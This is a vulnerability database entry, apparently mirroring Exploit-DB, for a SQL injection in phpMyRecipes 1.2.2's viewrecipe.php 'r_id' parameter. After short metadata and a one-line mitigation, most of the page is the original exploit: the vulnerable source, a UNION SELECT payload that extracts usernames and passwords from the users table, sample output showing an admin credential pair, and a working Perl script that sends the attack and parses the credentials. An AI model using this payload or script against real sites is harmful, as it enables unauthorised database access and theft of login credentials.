phpMyRecipes 1.2.2 SQL Injection Exploit

vendor:

phpMyRecipes

by:

cr4wl3r

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: phpMyRecipes

Affected Version From: 1.2.2

Affected Version To: 1.2.2

Patch Exists: NO

Related CWE: N/A

CPE: a:phpmyrecipes:phpmyrecipes:1.2.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu Linux

2009

phpMyRecipes 1.2.2 SQL Injection Exploit

A vulnerability exists in phpMyRecipes 1.2.2 due to improper sanitization of user-supplied input in the 'r_id' parameter of the 'viewrecipe.php' script. An attacker can exploit this vulnerability to inject arbitrary SQL commands and gain access to sensitive information from the database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL commands that are passed to the database.

Source

Exploit-DB raw data:

#phpMyRecipes 1.2.2 SQL Injection Exploit
#By cr4wl3r http://bastardlabs.info
#Script: http://sourceforge.net/projects/php-myrecipes/files/
#Demo: http://bastardlabs.info/demo/phpMyRecipes.png
#Tested: Ubuntu Linux
#
# Bugs found in viewrecipe.php
#
#  $r_id = $_GET['r_id'];
#
#  if (! ($result = mysql_query("SELECT
# name,category,servings,ingredients,instructions,description,creator,editor,imagefile FROM recipes WHERE id=$r_id"))) {
#    dberror("viewrecipe.php", "Cannot select recipe");
#  }
#
# http://bastardlabs/[path]/recipes/viewrecipe.php?r_id=[SQLi]
# Example: http://bastardlabs/[path]/recipes/viewrecipe.php?r_id=NULL/**/UNION/**/ALL/**/SELECT/**/CONCAT(username,0x3a,password)GORONTALO,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/users
#
#
# $ perl recipes.pl localhost /demo/
# [+] Please Wait ...
#
# [+] Getting Username and Password    [ ok ]
# [+] w00tw00t
# [+] Username | Password --> admin:mps4BNRRjh3po

#!/usr/bin/perl

use IO::Socket;

$host = $ARGV[0];
$path = $ARGV[1];

if (@ARGV < 2) { 

print qq(
+---------------------------------------------+
|   phpMyRecipes 1.2.2 SQL Injection Exploit  |
|                                             |
|            coded & exploited by cr4wl3r     |
|                 http://bastardlabs.info/    |
+---------------------------------------------+
                    -=[X]=-
   +---------------------------------------
    Usage :                                
                                           
    perl $0 <host> <path>                  
    ex : perl $0 127.0.0.1 /phpMyRecipes/  
                                           
   +---------------------------------------
);
}

$target = "http://".$host.$path."/recipes/viewrecipe.php?r_id=NULL/**/UNION/**/ALL/**/SELECT/**/CONCAT(username,0x3a,password)GORONTALO,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/users";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", 
PeerPort=>"80") || die "[-] Can't connect to Server   [ failed ]\n";
print "[+] Please Wait ...\n";
print $sock "GET $target HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: BastardLabs\n";
print $sock "Host: $host\n";
print $sock "Connection: close\n\n";
sleep 2;
while ($answer = <$sock>) {
if ($answer =~ /<B>(.*?)<\/B>/) {
print "\n[+] Getting Username and Password    [ ok ]\n";
sleep 1;
print "[+] w00tw00t\n";
print "[+] Username | Password --> $1\n";
exit();
}
}
print "[-] Exploit Failed !\n";